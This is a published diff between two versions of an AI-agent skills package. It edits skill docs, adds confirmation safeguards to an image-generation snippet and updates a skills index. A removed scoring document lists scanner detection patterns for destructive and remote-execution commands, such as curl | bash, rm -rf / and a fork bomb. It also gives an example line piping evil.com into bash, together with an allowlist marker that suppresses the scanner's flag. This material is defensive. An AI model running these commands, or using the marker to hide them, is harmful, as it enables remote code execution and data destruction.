opencode-skills-collection 4.0.4 → 4.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +4 -1
- package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +150 -0
- package/bundled-skills/create-pr/SKILL.md +4 -4
- package/bundled-skills/docs/README.md +1 -0
- package/bundled-skills/docs/contributors/quality-bar.md +1 -2
- package/bundled-skills/docs/integrations/jetski-cortex.md +5 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +3 -1
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-preview-profile.md +141 -0
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-design.md +302 -0
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-goal.md +169 -0
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-worklog.md +102 -0
- package/bundled-skills/docs/maintainers/audit.md +3 -8
- package/bundled-skills/docs/maintainers/legacy-redirect-bridge.md +46 -0
- package/bundled-skills/docs/maintainers/merge-batch.md +3 -7
- package/bundled-skills/docs/maintainers/merging-prs.md +1 -1
- package/bundled-skills/docs/maintainers/pr-autonomy.md +2 -3
- package/bundled-skills/docs/maintainers/release-process.md +12 -5
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +16 -14
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/users/aas-core.md +147 -0
- package/bundled-skills/docs/users/agentic-awesome-skills-vs-awesome-claude-skills.md +10 -9
- package/bundled-skills/docs/users/ai-agent-skills.md +22 -19
- package/bundled-skills/docs/users/best-claude-code-skills-github.md +8 -8
- package/bundled-skills/docs/users/best-cursor-skills-github.md +5 -5
- package/bundled-skills/docs/users/bundles.md +3 -1
- package/bundled-skills/docs/users/claude-code-skills.md +23 -7
- package/bundled-skills/docs/users/codex-cli-skills.md +30 -13
- package/bundled-skills/docs/users/discovery-manifest.md +6 -3
- package/bundled-skills/docs/users/faq.md +37 -10
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/getting-started.md +24 -10
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/plugins.md +15 -3
- package/bundled-skills/docs/users/skills-vs-mcp-tools.md +68 -49
- package/bundled-skills/docs/users/usage.md +38 -25
- package/bundled-skills/docs/users/visual-guide.md +28 -22
- package/bundled-skills/docs/vietnamese/AAS_CORE.vi.md +28 -0
- package/bundled-skills/docs/vietnamese/README.vi.md +10 -6
- package/bundled-skills/game-development/2d-games/SKILL.md +22 -19
- package/bundled-skills/game-development/SKILL.md +27 -35
- package/bundled-skills/game-development/engine-selection/SKILL.md +115 -0
- package/bundled-skills/game-development/web-games/SKILL.md +47 -45
- package/bundled-skills/git-advanced-workflows/SKILL.md +1 -11
- package/bundled-skills/git-pushing/SKILL.md +4 -4
- package/bundled-skills/modellix/SKILL.md +80 -0
- package/bundled-skills/pptx-deck-creation/SKILL.md +15 -7
- package/bundled-skills/pptx-deck-creation/references/audit-checklist.md +7 -3
- package/bundled-skills/pptx-deck-creation/references/ooxml-parsing.md +58 -0
- package/bundled-skills/pptx-deck-creation/references/{python-snippets.md → reference-deck-analysis-patterns.md} +1 -1
- package/bundled-skills/pptx-deck-creation/references/reference-deck-analysis.md +30 -8
- package/bundled-skills/pptx-deck-creation/references/visual-asset-adapters.md +23 -13
- package/bundled-skills/pr-writer/SKILL.md +2 -2
- package/bundled-skills/repo-maintainer/SKILL.md +4 -2
- package/bundled-skills/tools-page-seo-optimizer/SKILL.md +6 -6
- package/package.json +1 -1
- package/skills_index.json +86 -7
- package/bundled-skills/docs/contributors/skill-scoring.md +0 -235
|
@@ -19,9 +19,9 @@ Shared rules:
|
|
|
19
19
|
- On failure, write a failure manifest; never substitute a placeholder and call it generated.
|
|
20
20
|
- Never request secrets in chat or a prompt dialog. For cloud auth use `.env` or `az login`.
|
|
21
21
|
- Before a billable generation call or any request that sends user-provided or
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
22
|
+
source material to a third party, disclose the provider/model, the material
|
|
23
|
+
that will leave the machine, likely cost, and output path. Obtain explicit
|
|
24
|
+
confirmation unless the user already authorized that exact operation.
|
|
25
25
|
|
|
26
26
|
---
|
|
27
27
|
|
|
@@ -62,7 +62,7 @@ def icon_search(query, limit=8, prefix=None, color=None, out_dir="assets/icons")
|
|
|
62
62
|
|
|
63
63
|
## 2. Web Image Search
|
|
64
64
|
|
|
65
|
-
Prefer the
|
|
65
|
+
Prefer the VS Code fetch tools (`fetch_webpage`) or an MCP image-search tool you have available.
|
|
66
66
|
When you already have a direct image URL (from search results or the user), download it locally:
|
|
67
67
|
|
|
68
68
|
```python
|
|
@@ -102,8 +102,9 @@ Generate through a user-managed provider (OpenAI or Azure OpenAI). Read credenti
|
|
|
102
102
|
never accept secrets via chat.
|
|
103
103
|
|
|
104
104
|
Before running the snippet, obtain the external-call confirmation described in
|
|
105
|
-
the shared rules. If `output_path` already exists, choose a new
|
|
106
|
-
separate overwrite confirmation; do not silently
|
|
105
|
+
the shared rules. If `output_path` or its manifest already exists, choose a new
|
|
106
|
+
path or obtain separate explicit overwrite confirmation; do not silently
|
|
107
|
+
replace either file.
|
|
107
108
|
|
|
108
109
|
```python
|
|
109
110
|
import base64, json, os
|
|
@@ -111,15 +112,20 @@ from pathlib import Path
|
|
|
111
112
|
from openai import OpenAI, AzureOpenAI # provided by the user's environment
|
|
112
113
|
|
|
113
114
|
def text_to_infographic(prompt, output_path, provider="openai",
|
|
114
|
-
model_or_deployment="gpt-image-1", size="1024x1024"
|
|
115
|
+
model_or_deployment="gpt-image-1", size="1024x1024",
|
|
116
|
+
confirmed=False, allow_overwrite=False):
|
|
115
117
|
output = Path(output_path)
|
|
116
118
|
manifest_path = output.with_suffix(".manifest.json")
|
|
117
119
|
existing = [path for path in (output, manifest_path) if path.exists()]
|
|
118
|
-
if existing:
|
|
120
|
+
if existing and not allow_overwrite:
|
|
119
121
|
raise FileExistsError(f"Refusing to overwrite existing paths: {existing}")
|
|
120
122
|
manifest_path.parent.mkdir(parents=True, exist_ok=True)
|
|
121
123
|
manifest = {"provider": provider, "model_or_deployment": model_or_deployment,
|
|
122
124
|
"output_path": output_path}
|
|
125
|
+
if not confirmed:
|
|
126
|
+
manifest.update(status="cancelled", error="External generation was not confirmed")
|
|
127
|
+
manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
|
|
128
|
+
return manifest
|
|
123
129
|
try:
|
|
124
130
|
if provider == "azure-openai":
|
|
125
131
|
client = AzureOpenAI(
|
|
@@ -130,17 +136,20 @@ def text_to_infographic(prompt, output_path, provider="openai",
|
|
|
130
136
|
else:
|
|
131
137
|
client = OpenAI(api_key=os.environ["OPENAI_API_KEY"])
|
|
132
138
|
result = client.images.generate(model=model_or_deployment, prompt=prompt, size=size)
|
|
133
|
-
output.parent.mkdir(parents=True, exist_ok=True)
|
|
134
139
|
output.write_bytes(base64.b64decode(result.data[0].b64_json))
|
|
135
140
|
manifest["status"] = "ok"
|
|
136
141
|
except Exception as exc: # report, never fake-generate
|
|
137
142
|
manifest.update(status="error", error=str(exc))
|
|
138
|
-
manifest_path.write_text(json.dumps(manifest, indent=2))
|
|
143
|
+
manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8")
|
|
139
144
|
return manifest
|
|
140
145
|
```
|
|
141
146
|
|
|
142
|
-
-
|
|
143
|
-
|
|
147
|
+
- Collect missing values via `vscode_askQuestions`: provider, prompt, model/deployment, size, output path.
|
|
148
|
+
- Before calling the function, disclose the provider/model, material leaving
|
|
149
|
+
the machine, likely cost, and output path. Set `confirmed=True` only after
|
|
150
|
+
the user explicitly authorizes that exact external request. Set
|
|
151
|
+
`allow_overwrite=True` only after separate explicit approval to replace every
|
|
152
|
+
existing output or manifest path.
|
|
144
153
|
- Use `.env` or `az login` for auth; never ask for keys/tokens in chat or the dialog.
|
|
145
154
|
- Use generated art as a supporting visual. Recreate essential text, labels,
|
|
146
155
|
metrics, and steps with native PowerPoint objects. Add a vector asset only
|
|
@@ -155,4 +164,5 @@ NotebookLM has no public generation API, so treat this as an optional, user-conf
|
|
|
155
164
|
- If the user has a NotebookLM/MCP bridge tool configured, call it with `source_refs` + `prompt`,
|
|
156
165
|
then save the returned image locally and record provenance.
|
|
157
166
|
- If no bridge is configured, **fall back to Text → Infographic (section 4)** or omit the asset.
|
|
158
|
-
- Apply the same provenance and failure-manifest
|
|
167
|
+
- Apply the same confirmation, overwrite, provenance, and failure-manifest
|
|
168
|
+
rules as the other generation guidelines.
|
|
@@ -18,14 +18,14 @@ Create pull requests following Sentry's engineering practices.
|
|
|
18
18
|
|
|
19
19
|
## Prerequisites
|
|
20
20
|
|
|
21
|
-
Before creating a PR, ensure all changes are committed. If there are uncommitted changes, run the `
|
|
21
|
+
Before creating a PR, ensure all changes are committed. If there are uncommitted changes, run the available `commit` skill first to commit them properly.
|
|
22
22
|
|
|
23
23
|
```bash
|
|
24
24
|
# Check for uncommitted changes
|
|
25
25
|
git status --porcelain
|
|
26
26
|
```
|
|
27
27
|
|
|
28
|
-
If the output shows any uncommitted changes (modified, added, or untracked files that should be included), invoke the `
|
|
28
|
+
If the output shows any uncommitted changes (modified, added, or untracked files that should be included), invoke the available `commit` skill before proceeding. If the client requires qualified skill names, use the qualifier for the plugin that supplied this skill.
|
|
29
29
|
|
|
30
30
|
## Process
|
|
31
31
|
|
|
@@ -31,6 +31,8 @@ Before mutation:
|
|
|
31
31
|
|
|
32
32
|
If the repository names a mandatory maintainer skill or guarded command, delegate to it instead of inventing a parallel branch, merge, sync, or release path. In `agentic-awesome-skills`, use `antigravity-maintainer-batch-release` and `npm run merge:batch`; `main` is pull-request-only.
|
|
33
33
|
|
|
34
|
+
The routine protected checks for `agentic-awesome-skills` are `pr-policy`, `pr-evidence`, `source-validation`, and `artifact-preview`. The supported AAS Core preview uses targeted unit tests plus one packed Linux/Node LTS smoke path and Workbench review. Do not resurrect the retired certified-v1 baseline, benchmark, tuning-gold, transaction-fault, race, or frozen OS/runtime matrix as routine merge gates.
|
|
35
|
+
|
|
34
36
|
## Usage
|
|
35
37
|
|
|
36
38
|
### 1. Establish the baseline
|
|
@@ -70,7 +72,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
|
|
|
70
72
|
#### CI and release health
|
|
71
73
|
|
|
72
74
|
- failing, cancelled, skipped, or stale workflow runs;
|
|
73
|
-
-
|
|
75
|
+
- stale, redundant, or unjustifiably broad runtime matrices and unpinned or obsolete actions;
|
|
74
76
|
- required checks, branch protection, release permissions, and secret boundaries;
|
|
75
77
|
- mismatch between documented and implemented release commands.
|
|
76
78
|
|
|
@@ -82,7 +84,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
|
|
|
82
84
|
|
|
83
85
|
#### Code-quality signals
|
|
84
86
|
|
|
85
|
-
- dead code, stale
|
|
87
|
+
- dead code, stale implementation markers, debug logging, commented-out code, and missing tests;
|
|
86
88
|
- unsafe defaults, suppressed errors, credential exposure, and environment-specific paths.
|
|
87
89
|
|
|
88
90
|
For FAF projects only, also inspect declared `.faf`, `.faf-dna`, sync, score, and MCP contracts with the project's installed FAF commands.
|
|
@@ -593,12 +593,12 @@ seo:full() { seo:quick; }
|
|
|
593
593
|
|
|
594
594
|
## Related Skills
|
|
595
595
|
|
|
596
|
-
- [schema-markup-generator](
|
|
597
|
-
- [social-metadata-hardening](
|
|
598
|
-
- [indexing-issue-auditor](
|
|
599
|
-
- [pagespeed-enhancer](
|
|
600
|
-
- [wordpress-centric-high-seo-optimized-blogwriting-skill](
|
|
601
|
-
- [vibecode-production-qa-validator](
|
|
596
|
+
- [schema-markup-generator](../schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages
|
|
597
|
+
- [social-metadata-hardening](../social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages
|
|
598
|
+
- [indexing-issue-auditor](../indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes
|
|
599
|
+
- [pagespeed-enhancer](../pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages
|
|
600
|
+
- [wordpress-centric-high-seo-optimized-blogwriting-skill](../wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure
|
|
601
|
+
- [vibecode-production-qa-validator](../vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification
|
|
602
602
|
|
|
603
603
|
---
|
|
604
604
|
|
package/package.json
CHANGED
package/skills_index.json
CHANGED
|
@@ -100,7 +100,7 @@
|
|
|
100
100
|
"path": "skills/game-development/2d-games",
|
|
101
101
|
"category": "game-development",
|
|
102
102
|
"name": "2d-games",
|
|
103
|
-
"description": "2D game development principles. Sprites, tilemaps, physics,
|
|
103
|
+
"description": "2D game development principles. Sprites, atlases, tilemaps, physics, cameras, and genre patterns (platformer, top-down). Use for canvas/Phaser/Kaplay/Pixi 2D games or guest viewports inside hybrid web apps.",
|
|
104
104
|
"risk": "none",
|
|
105
105
|
"source": "community",
|
|
106
106
|
"date_added": "2026-02-27",
|
|
@@ -2371,6 +2371,28 @@
|
|
|
2371
2371
|
"reasons": []
|
|
2372
2372
|
}
|
|
2373
2373
|
},
|
|
2374
|
+
{
|
|
2375
|
+
"id": "antigravity-maintainer-batch-release",
|
|
2376
|
+
"path": "skills/antigravity-maintainer-batch-release",
|
|
2377
|
+
"category": "uncategorized",
|
|
2378
|
+
"name": "antigravity-maintainer-batch-release",
|
|
2379
|
+
"description": "Run protected AAS maintainer sweeps, PR merge batches, canonical sync, Core preview checks, and scripted releases. Use for repository maintenance, main alignment, CLI/MCP/Workbench changes, or release work; not ordinary contribution tasks.",
|
|
2380
|
+
"risk": "critical",
|
|
2381
|
+
"source": "self",
|
|
2382
|
+
"date_added": "2026-07-18",
|
|
2383
|
+
"plugin": {
|
|
2384
|
+
"targets": {
|
|
2385
|
+
"codex": "supported",
|
|
2386
|
+
"claude": "supported"
|
|
2387
|
+
},
|
|
2388
|
+
"setup": {
|
|
2389
|
+
"type": "none",
|
|
2390
|
+
"summary": "",
|
|
2391
|
+
"docs": null
|
|
2392
|
+
},
|
|
2393
|
+
"reasons": []
|
|
2394
|
+
}
|
|
2395
|
+
},
|
|
2374
2396
|
{
|
|
2375
2397
|
"id": "antigravity-skill-orchestrator",
|
|
2376
2398
|
"path": "skills/antigravity-skill-orchestrator",
|
|
@@ -12530,7 +12552,7 @@
|
|
|
12530
12552
|
"path": "skills/create-pr",
|
|
12531
12553
|
"category": "workflow",
|
|
12532
12554
|
"name": "create-pr",
|
|
12533
|
-
"description": "Alias for
|
|
12555
|
+
"description": "Alias for pr-writer. Use when users explicitly ask for \"create-pr\" or reference the legacy skill name. Redirects to the canonical PR writing workflow.",
|
|
12534
12556
|
"risk": "unknown",
|
|
12535
12557
|
"source": "community",
|
|
12536
12558
|
"date_added": null,
|
|
@@ -16843,6 +16865,28 @@
|
|
|
16843
16865
|
"reasons": []
|
|
16844
16866
|
}
|
|
16845
16867
|
},
|
|
16868
|
+
{
|
|
16869
|
+
"id": "engine-selection",
|
|
16870
|
+
"path": "skills/game-development/engine-selection",
|
|
16871
|
+
"category": "game-development",
|
|
16872
|
+
"name": "engine-selection",
|
|
16873
|
+
"description": "Selects game engines and frameworks by platform, genre, and architecture (full canvas shell vs hybrid DOM shell + guest viewport). Covers Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, Ink, Twine. Use when choosing a stack or comparing runtimes before implementation.",
|
|
16874
|
+
"risk": "safe",
|
|
16875
|
+
"source": "self",
|
|
16876
|
+
"date_added": "2026-07-17",
|
|
16877
|
+
"plugin": {
|
|
16878
|
+
"targets": {
|
|
16879
|
+
"codex": "supported",
|
|
16880
|
+
"claude": "supported"
|
|
16881
|
+
},
|
|
16882
|
+
"setup": {
|
|
16883
|
+
"type": "none",
|
|
16884
|
+
"summary": "",
|
|
16885
|
+
"docs": null
|
|
16886
|
+
},
|
|
16887
|
+
"reasons": []
|
|
16888
|
+
}
|
|
16889
|
+
},
|
|
16846
16890
|
{
|
|
16847
16891
|
"id": "enhance-prompt",
|
|
16848
16892
|
"path": "skills/enhance-prompt",
|
|
@@ -19903,7 +19947,7 @@
|
|
|
19903
19947
|
"path": "skills/game-development",
|
|
19904
19948
|
"category": "game-development",
|
|
19905
19949
|
"name": "game-development",
|
|
19906
|
-
"description": "Game development orchestrator. Routes
|
|
19950
|
+
"description": "Game development orchestrator. Routes by platform, dimension, and engine fit (web 2D/3D, hybrid DOM+canvas, narrative tools). Use when starting or structuring a game project, choosing frameworks, or picking among Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, or Ink/Twine.",
|
|
19907
19951
|
"risk": "unknown",
|
|
19908
19952
|
"source": "community",
|
|
19909
19953
|
"date_added": "2026-02-27",
|
|
@@ -28479,6 +28523,39 @@
|
|
|
28479
28523
|
"claude-code"
|
|
28480
28524
|
]
|
|
28481
28525
|
},
|
|
28526
|
+
{
|
|
28527
|
+
"id": "modellix",
|
|
28528
|
+
"path": "skills/modellix",
|
|
28529
|
+
"category": "creative",
|
|
28530
|
+
"name": "modellix",
|
|
28531
|
+
"description": "Integrate Modellix unified API/CLI for async AI image and video generation (model run --wait, task download).",
|
|
28532
|
+
"risk": "critical",
|
|
28533
|
+
"source": "community",
|
|
28534
|
+
"date_added": "2026-07-16",
|
|
28535
|
+
"plugin": {
|
|
28536
|
+
"targets": {
|
|
28537
|
+
"codex": "supported",
|
|
28538
|
+
"claude": "supported"
|
|
28539
|
+
},
|
|
28540
|
+
"setup": {
|
|
28541
|
+
"type": "none",
|
|
28542
|
+
"summary": "",
|
|
28543
|
+
"docs": null
|
|
28544
|
+
},
|
|
28545
|
+
"reasons": []
|
|
28546
|
+
},
|
|
28547
|
+
"source_type": "official",
|
|
28548
|
+
"source_repo": "Modellix/modellix-skill",
|
|
28549
|
+
"license": "MIT",
|
|
28550
|
+
"license_source": "https://github.com/Modellix/modellix-skill/blob/main/LICENSE",
|
|
28551
|
+
"tags": [
|
|
28552
|
+
"image-generation",
|
|
28553
|
+
"video-generation",
|
|
28554
|
+
"modellix",
|
|
28555
|
+
"cli",
|
|
28556
|
+
"api"
|
|
28557
|
+
]
|
|
28558
|
+
},
|
|
28482
28559
|
{
|
|
28483
28560
|
"id": "modern-javascript-patterns",
|
|
28484
28561
|
"path": "skills/modern-javascript-patterns",
|
|
@@ -42897,15 +42974,17 @@
|
|
|
42897
42974
|
"date_added": "2026-06-19",
|
|
42898
42975
|
"plugin": {
|
|
42899
42976
|
"targets": {
|
|
42900
|
-
"codex": "
|
|
42901
|
-
"claude": "
|
|
42977
|
+
"codex": "blocked",
|
|
42978
|
+
"claude": "blocked"
|
|
42902
42979
|
},
|
|
42903
42980
|
"setup": {
|
|
42904
42981
|
"type": "none",
|
|
42905
42982
|
"summary": "",
|
|
42906
42983
|
"docs": null
|
|
42907
42984
|
},
|
|
42908
|
-
"reasons": [
|
|
42985
|
+
"reasons": [
|
|
42986
|
+
"escaped_local_reference"
|
|
42987
|
+
]
|
|
42909
42988
|
},
|
|
42910
42989
|
"source_type": "community",
|
|
42911
42990
|
"tags": [
|
|
@@ -45696,7 +45775,7 @@
|
|
|
45696
45775
|
"path": "skills/game-development/web-games",
|
|
45697
45776
|
"category": "game-development",
|
|
45698
45777
|
"name": "web-games",
|
|
45699
|
-
"description": "Web browser game development
|
|
45778
|
+
"description": "Web browser game development. Framework selection (Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js), hybrid DOM+canvas, WebGPU, optimization, PWA, audio unlock. Use when building HTML5/WebGL/WebGPU games or choosing a browser runtime.",
|
|
45700
45779
|
"risk": "unknown",
|
|
45701
45780
|
"source": "community",
|
|
45702
45781
|
"date_added": "2026-02-27",
|
|
@@ -1,235 +0,0 @@
|
|
|
1
|
-
# Skill Quality Scoring
|
|
2
|
-
|
|
3
|
-
This document describes the optional skill quality scoring system introduced in the
|
|
4
|
-
AI Skill Registry Validation Framework.
|
|
5
|
-
|
|
6
|
-
Scores are **informational only** — they never block skill usage, CI pipelines,
|
|
7
|
-
or PR merges. They exist to help contributors understand the quality of their
|
|
8
|
-
skills and to help maintainers prioritize improvements.
|
|
9
|
-
|
|
10
|
-
---
|
|
11
|
-
|
|
12
|
-
## Overview
|
|
13
|
-
|
|
14
|
-
Each skill receives a **total score** between 0 and 100, computed as a weighted
|
|
15
|
-
average of three dimensions:
|
|
16
|
-
|
|
17
|
-
| Dimension | Weight | What it measures |
|
|
18
|
-
|-----------------|--------|------------------|
|
|
19
|
-
| Metadata | 30% | Frontmatter completeness and correctness |
|
|
20
|
-
| Documentation | 40% | Section coverage, code examples, content depth |
|
|
21
|
-
| Security | 30% | Absence of dangerous command patterns |
|
|
22
|
-
|
|
23
|
-
---
|
|
24
|
-
|
|
25
|
-
## Quality Labels
|
|
26
|
-
|
|
27
|
-
| Label | Score Range | Meaning |
|
|
28
|
-
|-------------------|-------------|---------|
|
|
29
|
-
| `excellent` | 85–100 | Well-documented, complete metadata, no security flags |
|
|
30
|
-
| `good` | 65–84 | Solid skill with minor gaps |
|
|
31
|
-
| `needs_improvement` | 45–64 | Missing sections or metadata fields |
|
|
32
|
-
| `critical` | 0–44 | Significant gaps — review recommended before sharing |
|
|
33
|
-
|
|
34
|
-
---
|
|
35
|
-
|
|
36
|
-
## Metadata Score (30%)
|
|
37
|
-
|
|
38
|
-
The metadata dimension evaluates frontmatter field completeness.
|
|
39
|
-
|
|
40
|
-
**Penalties:**
|
|
41
|
-
|
|
42
|
-
| Issue | Deduction |
|
|
43
|
-
|---|---|
|
|
44
|
-
| `name` missing or mismatched with folder | −25 pts |
|
|
45
|
-
| `description` missing | −20 pts |
|
|
46
|
-
| `description` shorter than 20 characters | −10 pts |
|
|
47
|
-
| `risk` missing | −15 pts |
|
|
48
|
-
| `risk: unknown` (unclassified) | −10 pts |
|
|
49
|
-
| `source` missing | −15 pts |
|
|
50
|
-
| `date_added` missing | −10 pts |
|
|
51
|
-
|
|
52
|
-
**Bonuses (optional fields):**
|
|
53
|
-
|
|
54
|
-
Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
|
|
55
|
-
**+5 pts**, capped at 100.
|
|
56
|
-
|
|
57
|
-
---
|
|
58
|
-
|
|
59
|
-
## Documentation Score (40%)
|
|
60
|
-
|
|
61
|
-
The documentation dimension evaluates section coverage and content depth.
|
|
62
|
-
|
|
63
|
-
**Section coverage (up to 60 pts):**
|
|
64
|
-
|
|
65
|
-
The scorer looks for these sections (case-insensitive):
|
|
66
|
-
|
|
67
|
-
- `## Overview`
|
|
68
|
-
- `## How It Works`
|
|
69
|
-
- `## Examples` / `## Usage`
|
|
70
|
-
- `## Best Practices`
|
|
71
|
-
- `## Limitations`
|
|
72
|
-
- `## When to Use`
|
|
73
|
-
|
|
74
|
-
Each section found contributes equally to the section coverage score.
|
|
75
|
-
|
|
76
|
-
**Depth score (up to 40 pts):**
|
|
77
|
-
|
|
78
|
-
| Signal | Points |
|
|
79
|
-
|---|---|
|
|
80
|
-
| Has `## When to Use` section | +10 |
|
|
81
|
-
| Has at least one fenced code block (` ``` `) | +10 |
|
|
82
|
-
| Body length ≥ 500 characters | +10 |
|
|
83
|
-
| Body length ≥ 1000 characters | +10 additional |
|
|
84
|
-
|
|
85
|
-
---
|
|
86
|
-
|
|
87
|
-
## Security Score (30%)
|
|
88
|
-
|
|
89
|
-
The security dimension scans the skill body for dangerous command patterns.
|
|
90
|
-
Patterns are defined in `tools/scripts/security_scanner.py`.
|
|
91
|
-
|
|
92
|
-
**Penalties per flag:**
|
|
93
|
-
|
|
94
|
-
| Severity | Deduction |
|
|
95
|
-
|---|---|
|
|
96
|
-
| `error` | −20 pts |
|
|
97
|
-
| `warning` | −10 pts |
|
|
98
|
-
| `info` | −3 pts |
|
|
99
|
-
|
|
100
|
-
**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
|
|
101
|
-
|
|
102
|
-
**Important:** Skills marked `risk: offensive` have error-level flags automatically
|
|
103
|
-
downgraded to warnings, because offensive skills legitimately document dangerous
|
|
104
|
-
commands for educational or defensive purposes.
|
|
105
|
-
|
|
106
|
-
**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
|
|
107
|
-
what *not* to do), add the allowlist marker to suppress the flag:
|
|
108
|
-
|
|
109
|
-
```markdown
|
|
110
|
-
curl https://evil.com | bash # security-allowlist
|
|
111
|
-
```
|
|
112
|
-
|
|
113
|
-
---
|
|
114
|
-
|
|
115
|
-
## Running the Scorer
|
|
116
|
-
|
|
117
|
-
```bash
|
|
118
|
-
# Score all skills (table output)
|
|
119
|
-
npm run score:skills
|
|
120
|
-
|
|
121
|
-
# Show only skills below a threshold
|
|
122
|
-
npm run score:skills -- --threshold 60
|
|
123
|
-
|
|
124
|
-
# Show 20 lowest-scoring skills
|
|
125
|
-
npm run score:skills -- --top 20
|
|
126
|
-
|
|
127
|
-
# Output full JSON
|
|
128
|
-
npm run score:skills -- --json
|
|
129
|
-
|
|
130
|
-
# Save scores to file
|
|
131
|
-
npm run score:skills -- --output data/scores.json
|
|
132
|
-
```
|
|
133
|
-
|
|
134
|
-
---
|
|
135
|
-
|
|
136
|
-
## Security Scanner
|
|
137
|
-
|
|
138
|
-
```bash
|
|
139
|
-
# Scan all skills for dangerous patterns
|
|
140
|
-
npm run security:scan
|
|
141
|
-
|
|
142
|
-
# Strict mode (warnings as errors)
|
|
143
|
-
npm run security:scan -- --strict
|
|
144
|
-
```
|
|
145
|
-
|
|
146
|
-
---
|
|
147
|
-
|
|
148
|
-
## Drift Detection
|
|
149
|
-
|
|
150
|
-
Drift detection identifies skills whose content has changed significantly
|
|
151
|
-
since the last recorded baseline.
|
|
152
|
-
|
|
153
|
-
```bash
|
|
154
|
-
# Check drift against baseline
|
|
155
|
-
npm run drift:check
|
|
156
|
-
|
|
157
|
-
# Update the baseline after reviewing changes
|
|
158
|
-
npm run drift:update
|
|
159
|
-
|
|
160
|
-
# Check a specific skill
|
|
161
|
-
npm run drift:check -- --skill my-skill-name
|
|
162
|
-
```
|
|
163
|
-
|
|
164
|
-
**Baseline ownership:**
|
|
165
|
-
|
|
166
|
-
| File | Committed? | Who updates it? |
|
|
167
|
-
|------|-----------|-----------------|
|
|
168
|
-
| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
|
|
169
|
-
| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
|
170
|
-
| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
|
171
|
-
|
|
172
|
-
Contributors should never commit these files. If you accidentally generate them
|
|
173
|
-
locally, they will be ignored by git automatically.
|
|
174
|
-
|
|
175
|
-
---
|
|
176
|
-
|
|
177
|
-
## Registry Report
|
|
178
|
-
|
|
179
|
-
```bash
|
|
180
|
-
# Generate a full registry health report → data/registry-report.json
|
|
181
|
-
npm run registry:report
|
|
182
|
-
|
|
183
|
-
# Skip drift detection (faster)
|
|
184
|
-
npm run registry:report -- --no-drift
|
|
185
|
-
```
|
|
186
|
-
|
|
187
|
-
The report includes:
|
|
188
|
-
- Aggregate scoring summary
|
|
189
|
-
- Per-skill scores and flags
|
|
190
|
-
- Drift summary (added / removed / modified skills)
|
|
191
|
-
- Risk breakdown
|
|
192
|
-
- Security flag counts
|
|
193
|
-
|
|
194
|
-
---
|
|
195
|
-
|
|
196
|
-
## Security Patterns Reference
|
|
197
|
-
|
|
198
|
-
| Code | Pattern | Severity | Description |
|
|
199
|
-
|--------|---------|----------|-------------|
|
|
200
|
-
| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
|
|
201
|
-
| SEC002 | `curl \| bash` | error | Remote code execution |
|
|
202
|
-
| SEC003 | `wget \| sh` | error | Remote code execution |
|
|
203
|
-
| SEC004 | `Invoke-Expression` | error | PowerShell RCE |
|
|
204
|
-
| SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
|
|
205
|
-
| SEC006 | `chmod 7xx` | warning | World-writable permissions |
|
|
206
|
-
| SEC007 | `eval(` | warning | Dynamic evaluation |
|
|
207
|
-
| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
|
|
208
|
-
| SEC009 | Hardcoded credential | error | Secrets in source |
|
|
209
|
-
| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
|
|
210
|
-
| SEC011 | Fork bomb | error | Infinite process spawner |
|
|
211
|
-
| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
|
|
212
|
-
|
|
213
|
-
---
|
|
214
|
-
|
|
215
|
-
## Frequently Asked Questions
|
|
216
|
-
|
|
217
|
-
**Q: Will a low score prevent my skill from being merged?**
|
|
218
|
-
|
|
219
|
-
No. Scores are informational. The existing `validate_skills.py` checks are what
|
|
220
|
-
gate merges.
|
|
221
|
-
|
|
222
|
-
**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
|
|
223
|
-
|
|
224
|
-
Add `# security-allowlist` at the end of the line showing the dangerous pattern.
|
|
225
|
-
This follows the existing project convention for educational examples.
|
|
226
|
-
|
|
227
|
-
**Q: Why is documentation weighted higher than metadata?**
|
|
228
|
-
|
|
229
|
-
Documentation quality has the highest impact on how useful a skill is to end users.
|
|
230
|
-
Complete metadata is valuable but less critical than clear instructions.
|
|
231
|
-
|
|
232
|
-
